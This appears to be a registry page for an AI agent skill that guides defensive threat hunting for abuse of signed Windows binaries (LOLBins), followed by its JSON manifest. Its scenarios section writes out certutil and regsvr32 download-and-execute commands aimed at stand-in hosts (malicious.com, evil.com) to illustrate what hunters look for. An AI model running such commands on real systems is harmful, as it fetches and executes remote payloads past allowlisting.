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Skillv1.0.0

hunting-for-living-off-the-land-binaries

Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and

by thewongdirection(0) 0 installs
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About

Imported from thewongdirection/anthropic-cyber-skills-fork (skills/hunting-for-living-off-the-land-binaries/SKILL.md). Install upstream with npx skills add thewongdirection/anthropic-cyber-skills-fork --skill hunting-for-living-off-the-land-binaries. Copyright stays with the author (Apache-2.0).

Hunting for Living-off-the-Land Binaries (LOLBins)

When to Use

  • When investigating fileless malware campaigns that bypass traditional AV
  • During proactive threat hunts targeting defense evasion techniques
  • When EDR alerts fire on legitimate binaries executing unusual child processes
  • After threat intelligence reports indicate LOLBin abuse in active campaigns
  • During red team/purple team exercises validating detection coverage for T1218

Prerequisites

  • Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
  • SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
  • Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
  • PowerShell command-line logging enabled (Module Logging, Script Block Logging)
  • Network proxy or firewall logs for correlating outbound connections

Workflow

  1. Define Hunt Hypothesis: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
  2. Identify Target LOLBins: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
  3. Collect Process Telemetry: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
  4. Baseline Normal Behavior: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
  5. Identify Anomalies: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
  6. Correlate and Enrich: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
  7. Document and Report: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.

Key Concepts

Concept Description
LOLBin Legitimate OS binary abused by attackers for malicious purposes
LOLBAS Project Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts
T1218 MITRE ATT&CK - Signed Binary Proxy Execution
T1218.001 Compiled HTML File (mshta.exe)
T1218.002 Control Panel (control.exe)
T1218.003 CMSTP
T1218.005 Mshta
T1218.010 Regsvr32
T1218.011 Rundll32
T1197 BITS Jobs (bitsadmin.exe)
T1140 Deobfuscate/Decode Files (certutil.exe)
Proxy Execution Using trusted binaries to execute untrusted code
Fileless Attack Attack that operates primarily in memory without dropping files

Tools & Systems

Tool Purpose
CrowdStrike Falcon EDR telemetry and process tree analysis
Microsoft Defender for Endpoint Advanced hunting with KQL queries
Splunk SIEM log aggregation and SPL queries
Elastic Security Detection rules and timeline investigation
Sysmon Detailed process creation and network logging
LOLBAS Project Reference database of LOLBin capabilities
Sigma Rules Generic detection rule format for LOLBins
Velociraptor Endpoint forensic collection and hunting

Common Scenarios

  1. Certutil Download Cradle: Adversary uses certutil.exe -urlcache -split -f http://malicious.com/payload.exe to download malware, bypassing web proxies that allow certutil traffic.
  2. Mshta HTA Execution: Attacker delivers HTA file via email that executes VBScript payload through mshta.exe, which is a signed Microsoft binary.
  3. Rundll32 DLL Proxy Load: Malicious DLL loaded via rundll32.exe shell32.dll,ShellExec_RunDLL to proxy execution through a trusted binary.
  4. Regsvr32 Squiblydoo: Remote SCT file executed via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll bypassing application whitelisting.
  5. BITSAdmin Persistence: Adversary creates BITS transfer job to repeatedly download and execute payloads using bitsadmin /transfer.

Output Format

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/thewongdirection-anthropic-cyber-skills-fork-hunting-for-dbd3cc/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

thewongdirection-anthropic-cyber-skills-fork-hunting-for-dbd3cc.ocm.jsonjson
{
  "ocm": "1",
  "id": "thewongdirection-anthropic-cyber-skills-fork-hunting-for-dbd3cc",
  "kind": "skill",
  "name": "hunting-for-living-off-the-land-binaries",
  "description": "Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.",
  "publisher": "thewongdirection",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "general"
    ],
    "tags": [
      "skill-md",
      "threat-hunting",
      "mitre-attack",
      "lolbins",
      "edr",
      "siem",
      "proactive-detection",
      "defense-evasion",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/thewongdirection/anthropic-cyber-skills-fork",
      "path": "skills/hunting-for-living-off-the-land-binaries/SKILL.md",
      "ref": "4c0b700ac5d280ba46695062077f0fe922ce3602",
      "url": "https://github.com/thewongdirection/anthropic-cyber-skills-fork/blob/4c0b700ac5d280ba46695062077f0fe922ce3602/skills/hunting-for-living-off-the-land-binaries/SKILL.md",
      "key": "thewongdirection/anthropic-cyber-skills-fork/skills/hunting-for-living-off-the-land-binaries/SKILL.md"
    },
    "license": "Apache-2.0"
  },
  "instructions": "# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team/purple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon E",
  "cost": {
    "context_tokens": 1163
  }
}

Fetch it by URL: GET /api/v1/registry/thewongdirection-anthropic-cyber-skills-fork-hunting-for-dbd3cc/manifest?version=1.0.0

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